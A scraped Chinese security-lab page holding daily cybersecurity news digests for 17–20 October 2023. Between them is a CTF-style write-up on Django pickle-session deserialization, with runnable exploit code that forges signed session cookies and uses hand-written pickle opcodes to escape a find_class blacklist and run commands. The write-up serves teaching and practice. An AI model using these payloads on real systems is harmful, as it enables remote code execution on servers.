以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年10月20日
1、朝鲜黑客利用TeamCity漏洞发动攻击
https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/ 据研究人员透露,被称为Diamond Sleet和Onyx Sleet的朝鲜国家级威胁行为者正在利用影响JetBrains TeamCity服务器多个版本的远程代码执行漏洞。TeamCity是一款用于构建管理和持续集成的DevOps工具,拥有超过3万名全球用户,包括耐克、法拉利、花旗银行和育碧等知名企业
2、Qubitstrike利用Jupyter Notebook挖矿和窃取云数据
https://www.cadosecurity.com/qubitstrike-an-emerging-malware-campaign-targeting-jupyter-notebooks/ Qubitstrike是一种新发现的恶意软件,它针对暴露在互联网上的Jupyter Notebook进行攻击,旨在非法挖掘加密货币和窃取云服务提供商的凭证。Jupyter Notebook是一种开源的交互式计算环境,用于数据分析、机器学习和科学研究。Qubitstrike的攻击者利用Shodan等服务搜索易受攻击的Jupyter Notebook,并通过Jupyter的终端功能执行命令,从Code
3、MATA恶意软件框架利用EDR攻击国防企业
https://securelist.com/updated-mata-attacks-industrial-companies-in-eastern-europe/110829/ 据报道,一种更新版本的MATA恶意软件框架在2022年8月至2023年5月期间发动了一系列攻击,针对东欧的石油和天然气企业以及国防行业。这些攻击利用鱼叉式钓鱼邮件诱使目标下载恶意可执行文件,利用Internet Explorer中的CVE-2021-26411漏洞启动感染链。更新的MATA框架结合了一个加载器、一个主木马和一个信息窃取器,以在目标网络中植入后门并获得持久性。这个MATA版本与之前与朝鲜黑客组织La
4、恶意广告利用Punycode冒充KeePass网站传播恶意软件
https://www.malwarebytes.com/blog/threat-intelligence/2023/10/clever-malvertising-attack-uses-punycode-to-look-like-legitimate-website 研究人员发布了一篇博客文章,揭露了一种新的恶意广告攻击,该攻击针对KeePass,这是一款开源的密码管理器。该攻击使用了一个特殊的字符编码Punycode,来注册一个与KeePass官方网站非常相似的国际化域名。这种域名在视觉上几乎无法区分,因此很容易欺骗用户。当用户在Google搜索KeePass时,会看到一个带有官方图标和
5、攻击者称手握300万条D-Link数据,D-Link称只有700条
https://www.freebuf.com/news/381158.html 位于中国台湾地区的全球网络设备和技术公司 D-Link 近期遭到一起数据泄露事件,一名攻击者在 BreachForums 平台上出售来自该公司的被盗数据。攻击者声称窃取了 300 万条个人信息以及 D-Link 的 D-View 网络管理软件的源代码,并提供了 1.2 GB 的存档。被盗数据包括许多台湾政府官员以及该公司首席执行官和员工的信息。D-link称攻击者仅窃取了大约 700 条至少已超过7年的老旧记录。且大部分由低敏感度和半公开信息组成,与其宣称的拥有300万条信息不符。
6、包含名流世家!数百万份 23andMe 基因数据资料被盗
https://www.freebuf.com/news/381144.html 一名网络攻击者在 BreachForums 黑客论坛上泄露了 410 万份被盗的 23andMe 基因数据资料,这些数据主要来自英国和德国。网络攻击者声称被盗数据包括皇室、罗斯柴尔德家族和洛克菲勒家族的基因信息。
7、国家支持的 APT 正在利用 WinRAR 漏洞(CVE-2023-38831)
https://www.freebuf.com/news/381150.html 一些由政府支持的 APT 正在利用 CVE-2023-38831漏洞,这是 WinRAR 中的一个文件扩展名欺骗漏洞。自 2023 年 4 月以来,该漏洞一直被网络犯罪分子作为零日漏洞加以利用,现在也被国家支持的黑客组织所利用。谷歌 TAG 分析师指出:对 WinRAR 漏洞的广泛利用也表明,尽管已经有了补丁,但对已知漏洞的利用依旧活跃且有效。
8、亚马逊添加密钥支持作为新的无密码登录选项
https://www.bleepingcomputer.com/news/security/amazon-adds-passkey-support-as-new-passwordless-login-option/ 亚马逊悄悄地为客户添加了密钥支持,作为新的无密码登录选项,提供更好的保护,防止信息窃取恶意软件和网络钓鱼攻击。
9、因未修补的IOS XE漏洞遭攻击的思科设备数量已达到约 40,000 台
https://www.securityweek.com/number-of-cisco-devices-hacked-via-unpatched-vulnerability-increases-to-40000/ 据多家网络安全公司称,利用未修补的 IOS XE 漏洞遭到黑客攻击的思科设备数量已达到约 40,000 台。 所利用的漏洞是 CVE-2023-20198,这是一个影响 IOS XE Web 界面的严重缺陷,未经身份验证的远程攻击者可以利用该漏洞进行权限升级。 思科尚未发布补丁,该公司警告称,该漏洞至少从 9 月中旬起就已被作为零日漏洞利用。
10、lackCat Group 采用新策略规避安全检测
https://cyware.com/news/blackcat-group-adopts-a-new-tactic-to-circumvent-security-solutions-8257dfd9 BlackCat 组织再次在其武器库中添加了一个新工具,以逃避不同供应商提供的安全解决方案的检测。攻击者创建了一个名为 Munchkin 的新实用程序,允许他们在远程计算机上运行勒索软件负载,或加密远程服务器消息块 (SMB)/通用 Internet 文件共享 (CIFS)。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
由Django-Session配置引发的反序列化安全问题
漏洞成因
漏洞成因位于目标配置文件settings.py下
关于这两个配置项
SESSION_ENGINE:
在Django中,SESSION_ENGINE 是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。
SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据,例如:
数据库后端 (django.contrib.sessions.backends.db):会话数据存储在数据库表中。这是Django的默认会话引擎。
缓存后端 (django.contrib.sessions.backends.cache):会话数据存储在缓存中,例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。
文件系统后端 (django.contrib.sessions.backends.file):会话数据存储在服务器的文件系统中。这种方式适用于小型应用,不需要高级别的安全性和性能。
签名Cookie后端 (django.contrib.sessions.backends.signed_cookies):会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据,可以提供一定程度的安全性。
缓存数据库后端 (django.contrib.sessions.backends.cached_db):会话数据存储在缓存中,并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。
SESSION_SERIALIZER:
SESSION_SERIALIZER 是Django设置中的一个选项,用于指定Django如何对会话(session)数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制,例如用户登录状态、购物车内容、用户首选项等。
通过配置SESSION_SERIALIZER,您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式,包括以下常用的选项:
'django.contrib.sessions.serializers.JSONSerializer':使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式,具有良好的可读性和跨平台兼容性。
'django.contrib.sessions.serializers.PickleSerializer':使用Python标准库中的pickle模块来序列化和反序列化会话数据。
那么上述配置项的意思就是使用cookie来存储session的签名,然后使用pickle在c/s两端进行序列化和反序列化。
紧接着看看Django中的/core/signing模块:(Django==2.2.5)
主要看看函数参数即可
key:验签中的密钥
serializer:指定序列化和反序列化类
def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
"""
Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is
None, use settings.SECRET_KEY instead.
If compress is True (not the default), check if compressing using zlib can
save some space. Prepend a '.' to signify compression. This is included
in the signature, to protect against zip bombs.
Salt can be used to namespace the hash, so that a signed string is
only valid for a given namespace. Leaving this at the default
value or re-using a salt value across different parts of your
application without good cause is a security risk.
The serializer is expected to return a bytestring.
"""
data = serializer().dumps(obj) # 使用选定的类进行序列化
# Flag for if it's been compressed or not
is_compressed = False
# 数据压缩处理
if compress:
# Avoid zlib dependency unless compress is being used
compressed = zlib.compress(data)
if len(compressed) < (len(data) - 1):
data = compressed
is_compressed = True
base64d = b64_encode(data).decode() # base64编码 decode转化成字符串
if is_compressed:
base64d = '.' + base64d
return TimestampSigner(key, salt=salt).sign(base64d) # 返回一个签名值
# loads的过程为dumps的逆过程
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
"""
Reverse of dumps(), raise BadSignature if signature fails.
The serializer is expected to accept a bytestring.
"""
# TimestampSigner.unsign() returns str but base64 and zlib compression
# operate on bytes.
base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()
decompress = base64d[:1] == b'.'
if decompress:
# It's compressed; uncompress it first
base64d = base64d[1:]
data = b64_decode(base64d)
if decompress:
data = zlib.decompress(data)
return serializer().loads(data)
看看两个签名的类:
在Signer类中中:
class Signer:
def __init__(self, key=None, sep=':', salt=None):
# Use of native strings in all versions of Python
self.key = key or settings.SECRET_KEY # key默认为settings中的配置项
self.sep = sep
if _SEP_UNSAFE.match(self.sep):
raise ValueError(
'Unsafe Signer separator: %r (cannot be empty or consist of '
'only A-z0-9-_=)' % sep,
)
self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)
def signature(self, value):
# 利用salt、value、key做一次签名
return base64_hmac(self.salt + 'signer', value, self.key)
def sign(self, value):
return '%s%s%s' % (value, self.sep, self.signature(value))
def unsign(self, signed_value):
if self.sep not in signed_value:
raise BadSignature('No "%s" found in value' % self.sep)
value, sig = signed_value.rsplit(self.sep, 1)
if constant_time_compare(sig, self.signature(value)):
return value
raise BadSignature('Signature "%s" does not match' % sig)
还有一个是时间戳的验签部分
class TimestampSigner(Signer):
def timestamp(self):
return baseconv.base62.encode(int(time.time()))
def sign(self, value):
value = '%s%s%s' % (value, self.sep, self.timestamp())
return super().sign(value)
def unsign(self, value, max_age=None):
"""
Retrieve original value and check it wasn't signed more
than max_age seconds ago.
"""
result = super().unsign(value)
value, timestamp = result.rsplit(self.sep, 1)
timestamp = baseconv.base62.decode(timestamp)
if max_age is not None:
if isinstance(max_age, datetime.timedelta):
max_age = max_age.total_seconds()
# Check timestamp is not older than max_age
age = time.time() - timestamp
if age > max_age:
raise SignatureExpired(
'Signature age %s > %s seconds' % (age, max_age))
return value
时间戳主要是为了判断session是否过期,因为设置了一个max_age字段,做了差值进行比较
漏洞调试
我直接以ez_py的题目环境为漏洞调试环境(Django==2.2.5)
老惯例,先看栈帧
django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类,协助处理了HTTP请求
AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份
随后调用Django auth模块下的get_user函数和_get_user_session_key函数
随后进行session的字典读取。由于加载session的过程为懒加载过程(lazy load),所以在读取SESSION_KEY的时候会进行_get_session函数运行,从而触发session的反序列化
loads函数中的操作
首先先进行session是否过期的检验,随后base64解码和zlib数据解压缩,提取出python字节码
最后扔入pickle进行字节码解析
漏洞利用
首先利用条件如下:
以cookie方式存储session,实现了交互。
以Pickle为反序列化类,触发__reduce__函数的执行,实现RCE
EXP如下:
import os
import django.core.signing
import requests
# from Django.contrib.sessions.serializers.PickleSerializer
import pickle
class PickleSerializer:
"""
Simple wrapper around pickle to be used in signing.dumps and
signing.loads.
"""
protocol = pickle.HIGHEST_PROTOCOL
def dumps(self, obj):
return pickle.dumps(obj, self.protocol)
def loads(self, data):
return pickle.loads(data)
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"
class exp():
def __reduce__(self):
# 返回一个callable 及其参数的元组
return os.system, (('calc.exe'),)
_exp = exp()
cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(cookie_opcodes)
resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})
Code-Breaking-Django调试
这道题是P神文章中的题目,题目源码在这:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode
find_class沙盒逃逸
关于find_class:
简单来说,这是python pickle建议使用的安全策略,这个函数在pickle字节码调用c(即import)时会进行校验,校验函数由自己定义
import pickle
import io
import builtins
__all__ = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name): # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist: # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
def loads(self, data):
try:
# 校验data是否为字符串
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data) # 读取data
return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
except Exception as e:
return {}
第一是要手撕python pickle opcode绕过find_class,这个过程使用到了getattr函数,这个函数有如下用法
class Person:
def __init__(self, name):
self.name = name
# 获取对象属性值
person = Person("Alice")
name = getattr(person, "name")
print(name)
# 调用对象方法
a = getattr(builtins, "eval")
a("print(1+1)")
# 可以设置default值
age = getattr(person, "age", 30)
print(age)
builtins.getattr(builtins, "eval")("print(1+1)")
那么同理,也可以通过getattr调用eval
加载上下文:由于后端在实现时,import了一些包
(这部分包的上下文可以使用globals()函数获得)
所以可以直接导入builtins中的getattr,最终通过获取globals()中的__builtins__来获取eval等
getattr = GLOBAL('builtins', 'getattr') # GLOBAL为导入
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
__builtins__ = dict_get(builtins, '__builtins__') # 获取真正的__builtins__
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("calc.exe")')
return
查看Django.core.signing模块,复刻sign写exp
from django.core import signing
import pickle
import io
import builtins
import zlib
import base64
PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'
SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
salt = "django.contrib.sessions.backends.signed_cookies"
def b64_encode(s):
return base64.urlsafe_b64encode(s).strip(b"=")
base64d = b64_encode(PayloadToBeEncoded).decode()
def exp(key, payload):
global salt
# Flag for if it's been compressed or not.
is_compressed = False
compress = False
if compress:
# Avoid zlib dependency unless compress is being used.
compressed = zlib.compress(payload)
if len(compressed) < (len(payload) - 1):
payload = compressed
is_compressed = True
base64d = b64_encode(payload).decode()
if is_compressed:
base64d = "." + base64d
session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)
print(session)
然后传session即可。
网络安全日报 2023年10月19日
1、研究人员发现针对Telegram和云用户的供应链攻击活动
https://checkmarx.com/blog/users-of-telegram-aws-and-alibaba-cloud-targeted-in-latest-supply-chain-attack/ 2023年9月,一个使用“kohlersbtuh15”假名的攻击者,通过向PyPi包管理器上传一系列恶意包,试图利用开源社区进行传播。根据这些包的名称和代码,可以看出这个攻击者的目标是使用阿里云服务、AWS和Telegram的开发者。这次攻击的特点是,攻击者利用了Typosquatting(误拼)和Starjacking(星标劫持)等技术,诱导开发者下载恶意包。Typosquatt
2、Fantom Foundation因Chrome漏洞遭黑客攻击
https://www.hackread.com/fantom-foundation-wallet-hack-google-chrome-0-day-flaw/ 2023年10月17日,Fantom Foundation(开发Fantom区块链的组织)遭到了一场网络钓鱼攻击。黑客利用了Google Chrome浏览器的一个零日漏洞,直接影响了该组织的运营。这次攻击导致了估计为65.7万美元的资金被非法转移,这是本月困扰区块链领域的众多安全事件之一。据研究人员称,攻击者从Fantom Foundation在以太坊和Fantom网络上的钱包中窃取了资金。攻击者将偷来的资金集中到一个地址中,该地址
3、CasaOS存在严重的安全漏洞,需尽快修复
https://www.sonarsource.com/blog/security-vulnerabilities-in-casaos/ CasaOS是一个开源的家庭云系统,可以让用户在自己的设备上部署和管理各种应用。然而,近日研究人员发现了CasaOS中存在多个严重的安全漏洞,包括任意文件读取、任意文件上传、命令注入、跨站脚本攻击等。这些漏洞可以让攻击者获取用户的敏感数据,甚至控制用户的设备。研究人员已经向CasaOS的开发者报告了这些漏洞,并提供了一些修复建议。目前,CasaOS的最新版本是0.3.7,还没有发布修复这些漏洞的更新。因此,建议CasaOS的用户尽快升级到最新版本,并避免在
4、D-Link确认数据泄露,员工和合作伙伴受影响
https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10359 D-Link是一家知名的网络设备制造商,近日确认了一起数据泄露事件,导致员工和合作伙伴的个人信息和敏感数据被暴露。据报道,这起数据泄露事件发生在2023年9月30日,当时D-Link的一个第三方服务提供商遭到了网络攻击。攻击者利用了一个未修复的漏洞,窃取了D-Link的员工和合作伙伴的姓名、电子邮件地址、电话号码、职位、公司名称等信息。D-Link表示,已经通知了受影响的员工和合作伙伴,并提供了一些安全建议,如修改密码、监控
5、《2023年全球云威胁报告》:90%的安全供应链实则并不安全
https://www.freebuf.com/articles/paper/380279.html 近日,云安全公司Sysdig发布了《2023年全球云威胁报告》,研究了瞄准垂直行业的针对性云攻击,结果发现云攻击者正在通过利用云服务和常见的错误配置,以复杂的方式发展他们的技术和工具包。更重要的是,云中的攻击移动速度很快,侦察到威胁和造成严重破坏之间的间隔可能仅几分钟。
6、WIKI系统 Confluence存在高危漏洞
https://www.freebuf.com/news/381032.html 近日,CISA、FBI 和 MS-ISAC 警告网络管理员立即为其 Atlassian Confluence 服务器更新安全补丁,以防止网络攻击者中主动利用严重性漏洞 CVE-2023-22515。
7、香港芭蕾舞团电脑遭勒索软件入侵读取个人及内部资料
https://www.secrss.com/articles/59712 香港芭蕾舞团公布,电脑网络系统近日遭勒索软体入侵,导致内部电脑系统遭非法读取,当中或包括个人资料及港芭内部资料。
8、黑客利用币安智能链储存恶意代码
https://thehackernews.com/2023/10/binances-smart-chain-exploited-in-new.html 过去两个月,黑客劫持了 WordPress 网站向访问者展示浏览器需要更新才能正常访问的信息,如果访客上当他们会下载恶意程序收集登陆凭证等敏感信息,恶意程序通常托管在 Web 服务上,一经发现会迅速被移除。但在这起攻击中,黑客利用了币安智能链的智能合约去储存永远无法移除的恶意代码。加密货币所使用的区块链在信息写入之后是很难移除的。
9、专家警告Milesight 路由器和 Titan SFTP 服务器严重漏洞已被利用
https://thehackernews.com/2023/10/experts-warn-of-severe-flaws-affecting.html VulnCheck 的新发现显示,影响Milesight工业蜂窝路由器的严重缺陷可能已在现实世界的攻击中被积极利用。该漏洞被追踪为 CVE-2023-43261(CVSS 评分:7.5),被描述为影响 35.3.0.7 版本之前的 UR5X、UR32L、UR32、UR35 和 UR41 路由器的信息泄露案例,可能使攻击者能够访问https://nvd.nist.gov/vuln/detail/CVE-2023-43261例如 httpd.
10、Zabbix 修复缓冲区溢出漏洞(CVE-2023-32722)
http://www.anquan419.com/knews/24/6016.html Zabbix 修复了一个缓冲区溢出漏洞(CVE-2023-32722),由于 Zabbix 受影响版本中 zabbix src libs zbxjson 模块未对 JSON 数据的深度进行校验,导致 zbx_json_open 方法解析 JSON 深度超过 64 层时存在缓冲区溢出漏洞。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年10月18日
1、研究人员发现针对拉丁美洲用户的新型恶意软件TOITOIN
https://www.zscaler.com/blogs/security-research/toitoin-trojan-analyzing-new-multi-stage-attack-targeting-latam-region 研究人员最近发现一个针对拉丁美洲用户的攻击活动。在此次攻击活动中,攻击者利用多阶段的攻击链执行定制的模块,例如将恶意代码注入到进程中、通过COM组件绕过用户账户控制、 规避沙箱检测等,最终投递一个名为“TOITOIN”的新型恶意软件。该恶意软件采用独特的XOR解密技术对配置文件进行解密,收集系统信息,并对已安装浏览器及Topaz OFD产品中的相关数据进行窃
2、攻击者使用Legion窃密木马针对PUBG玩家进行攻击
https://blog.cyble.com/2023/07/11/legion-stealer-targeting-pubg-players 研究人员最近发现了一个Github页面,该页面伪装成PUBG作弊工具的项目,并借此传播恶意软件。攻击者对其中的“Karogour_Bypanls.Scr”文件的后7个字符进行反转,将其文件名变成“Karogour_BypasrcS.sln”以此诱导用户执行。该程序是一个基于GUI的32位可执行程序,使用.NET语言进行编写,运行后将“Local_ycsNYnaBZ.sln”文件及“LocalchfRgyVJSk.exe”程序放置%appdata%目录
3、微软针对132个漏洞发布安全更新,包括多个已被利用零日漏洞
https://thehackernews.com/2023/07/microsoft-releases-patches-for-130.html 微软发布安全更新,以解决132个安全漏洞,其中包括6个零日漏洞,且这些零日漏洞已被利用。CVE-2023-32046,CVSS评分为7.8,是Windows MSHTML平台提权漏洞;CVE-2023-32049,CVSS评分为8.8,是Windows SmartScreen安全功能绕过漏洞;CVE-2023-35311,CVSS评分为8.8,是Microsoft Outlook安全功能绕过漏洞;CVE-2023-36874,CVSS评分为7.8
4、HCA Healthcare泄露1100万患者数据
https://securityaffairs.com/148371/data-breach/hca-healthcare-data-breach.html HCA Healthcare披露了一个数据泄露事件,该机构表示大约1100万患者的个人信息在此次事件中泄露。7月5日,黑客在黑客论坛中宣传入侵了该机构,并发布了一些患者的相关数据信息。HCA Healthcare仍在对此次事件进行调查,尚未在其网络或系统中发现与此次事件相关的证据。HCA Healthcare指出数据泄露列表中包含约2700万行数据,其中可能包括约1100万患者的个人信息。该机构表示不认为此次数据泄漏涉及到患者的临床信息
5、特立尼达和多巴哥遭受网络攻击
https://therecord.media/trinidad-tobago-hit-with-cyberattack 特立尼达和多巴哥司法部正在处理一起影响该国司法部运作的网络攻击事件,其数字转型部最近几天发现了针对该国总检察长办公室和法律事务部(AGLA)的网络攻击。虽然暂未给出攻击开始的具体日期,但AGLA发布消息表示,自6月30日以来一直在处理网络攻击所导致的问题,其内部服务中断,并且在此之后不能够收到以电子方式传来的法庭文件。为解决此问题,该部门提供了发送法庭文件的备用电子邮箱地址,并表示可以在西班牙首都港口提供面对面的法庭服务。
6、疑似迪卡侬 8000 名员工个人信息暴露暗网上
https://www.freebuf.com/news/380889.html The cyber express 网站消息,某论坛用户爆料知名体育用品零售商迪卡侬一起数据泄露事件,大约 8000 名员工个人信息在此前迪卡侬数据泄露事件中被曝光,这些信息目前已在暗网上“共享”。
7、思科未修补的零日漏洞CVE-2023-20198(CVSS:10)正被积极利用
https://www.freebuf.com/news/380882.html 思科要求客户立即在其所有面向互联网的 IOS XE 设备上禁用 HTTPS 服务器功能,以防止攻击者利用操作系统 Web 用户界面中的一个关键零日漏洞。思科 IOS XE 是思科用于下一代企业网络设备的操作系统。该漏洞被命名为 CVE-2023-20198,影响所有启用了 Web UI 功能的 Cisco IOS XE 设备。思科将该漏洞定义为一个权限升级漏洞,可以完全接管设备。思科将该漏洞在 CVSS 评级中定为 10 分(满分 10 分)。
8、微软计划在 Win11 中弃用 NTLM 身份验证协议
https://www.freebuf.com/news/380859.html 微软公司宣布,计划在未来的 Windows 11 中取消 NT LAN Manager,将其换成其他认证方式并加强安全性。微软方面强调,此次变化的重点是加强自 2000 年以来一直默认使用的 Kerberos 身份验证协议,从而减少对 NT LAN Manager 的依赖。Windows 11 的新功能包括使用 Kerberos 的初始和通过身份验证以及用于 Kerberos 的本地密钥分发中心。
9、因收到100万美元“侮辱性”赎金,Lockbit泄露CDW内部数据
https://www.freebuf.com/news/380865.html 近日,知名勒索软件团伙Lockbit声称入侵了技术服务巨头 CDW,并因赎金谈判破裂泄露了部分数据。CDW是全球最大的经销商企业之一,专为商业、政府和教育提供技术解决方案和服务。Lockbit在入侵CDW后索要8000万美元赎金,但该组织声称该对方只支付了 100 万美元。
10、MemComputing ASIC 可能会破坏 2048 位 RSA 加密
https://www.securityweek.com/beyond-quantum-memcomputing-asics-could-shatter-2048-bit-rsa-encryption/ 总部位于圣地亚哥的 MemComputing 正在研究使用内存处理 ASIC(专用集成电路)来实时破解 2048 位 RSA。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年10月17日
1、恶意NuGet包冒充加密货币项目感染开发者
https://blog.phylum.io/phylum-discovers-seroxen-rat-in-typosquatted-nuget-package/ 近日,安全研究人员发现了一些恶意的NuGet包,它们冒充了一些流行的加密货币项目和平台,例如Solana、Kucoin和Discord,目的是感染开发者的电脑,安装SeroXen远程控制木马。这些恶意包由一个名为“Disti”的用户上传,共有12个,下载量超过200万次。这些包含有一个混淆的批处理文件,当开发者使用NuGet包管理器安装这些包时,就会执行该文件,从远程服务器下载并运行SeroXen木马。SeroXen木马可以窃取
2、俄罗斯黑客利用WinRAR漏洞攻击乌克兰冲突区
https://blog.cluster25.duskrise.com/2023/10/12/cve-2023-38831-russian-attack 研究人员发现,与俄罗斯有关联的国家级威胁行为者发起了一系列基于网络钓鱼的攻击,目标是乌克兰冲突区域的机构和个人。这些攻击利用了最近发现的影响WinRAR压缩软件6.23之前版本的漏洞,编号为CVE-2023-38831。攻击者通过发送一个恶意的压缩文件来诱骗受害者打开,该压缩文件包含一个伪装成分享指标(IoCs)的PDF文件,以及一个与PDF文件同名(包括末尾空格)的目录,该目录中有一个BAT脚本。由于漏洞的存在,当受害者尝试打开PDF文件
3、AgentTesla通过CHM和PDF文件在最近的攻击中传播
https://cyble.com/blog/agenttesla-spreads-through-chm-and-pdf-files-in-recent-attacks/ AgentTesla是一个基于.NET框架的信息窃取器,旨在渗透计算机并秘密地从受害者的机器中提取敏感信息。近日,研究人员在VirusTotal(VT)中发现了一个恶意的Gzip压缩文件。这个Gzip文件包含了一个CHM文件,它触发了AgentTesla感染的开始。在最近的活动中,研究人员发现了一个被Gzip压缩并很可能通过恶意垃圾邮件发送的CHM文件。这个精心制作的CHM文件充当了一个诱饵。根据CHM文件中可用的内容,
4、威胁行为者利用币安智能链合约传播恶意代码
https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16 近日,研究人员发现一些恶意行为者利用币安智能链(BSC)合约来托管和传播恶意代码。研究人员将其活动代号为EtherHiding,它利用被感染的WordPress网站来诱骗访问者更新他们的浏览器,然后下载信息窃取型恶意软件,如Amadey、Lumma或RedLine。攻击者在被感染的网站上注入了一个混淆的Javascript,用来通过创建一个智能合约来查询BNB智能链,合约中包含了攻击者控制的区块链地
5、AI算法用于检测和防御针对无人军用机器人的中间人攻击
https://www.unisa.edu.au/media-centre/Releases/2023/new-cyber-algorithm-shuts-down-malicious-robotic-attack/ 研究人员开发了一种使用机器学习技术的算法,可以检测和拦截对无人军用机器人的中间人(MitM)攻击。MitM攻击是一种网络攻击,其中攻击者截取了机器人和其合法控制器之间的数据流,以窃听或在流中注入虚假数据。这种攻击可能会干扰无人驾驶车辆的运行,修改传输的指令,甚至夺取控制权,指示机器人采取危险行动。该算法在美国陆军使用的GVR-BOT复制品中进行了测试,记录了99%的攻击预防成功
6、ALPHV勒索软件攻击美国莫里森社区医院窃取了5TB数据
https://securityaffairs.com/152486/cyber-crime/alphv-ransomware-morrison-community-hospital.html 美国伊利诺伊州的莫里森社区医院(MCH)遭到了ALPHV/BlackCat勒索软件团伙的攻击,导致其部分系统被加密,并且有大量的敏感数据被窃取。该团伙在其暗网网站上公布了部分数据的截图,包括患者的姓名、出生日期、社会保险号、诊断信息、医疗保险信息等。该团伙还声称他们已经从医院的服务器上下载了超过5TB的数据,并威胁如果不支付赎金,就会公开更多的数据。ALPHV/BlackCat勒索软件是一种新兴的网络
7、Storm-0324 与勒索团伙 Sangria Tempest 勾结
https://www.freebuf.com/articles/network/379912.html 2023 年 7 月上旬,微软称之为 Storm-0324 的攻击组织通过 Microsoft Teams 发送钓鱼邮件进行攻击。Storm-0324 是一个以经济获利为动机的攻击组织,以通过钓鱼邮件执行远程代码获取失陷主机访问权限而闻名。获取立足点后 Storm-0324 通常会将访问权限转卖给其他犯罪团伙,如勒索软件组织 Sangria Tempest(又叫 FIN7、Carbon Spider)与 TA543 等。攻击组织 Sangria Tempest 与 Storm-0324
8、 阿里云、华为、金山办公等发起,人工智能安全治理专业委员会成立
https://www.ithome.com/0/724/987.htm “中国网络空间安全协会”官方公众号10月14日下午宣布,10 月 12 日上午,中国网络空间安全协会人工智能安全治理专业委员会正式成立。
9、密码泄露及时通知,谷歌为自家搜索 App 添加一系列隐私功能
https://www.ithome.com/0/724/835.htm 谷歌目前表示,任何拥有谷歌账号的用户,近日都可以在“谷歌手机软件”中启用“暗网报告”功能,谷歌在今年 5 月公布这项功能,可在用户密码泄露时告知用户。
10、思科再次承认使用了硬编码密码
https://www.schneier.com/blog/archives/2023/10/cisco-cant-stop-using-hard-coded-passwords.html 思科最近披露了 Cisco Emergency Responder 的一个漏洞 CVE-2023-20101,它包含了一个 root 账号的静态用户凭证,原本是为开发保留的,但不小心留在了最终用户产品中。攻击者可以使用该账号登陆受影响系统,以 root 用户权限执行任意命令。这远非第一次思科在其产品中使用了硬编码密码。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
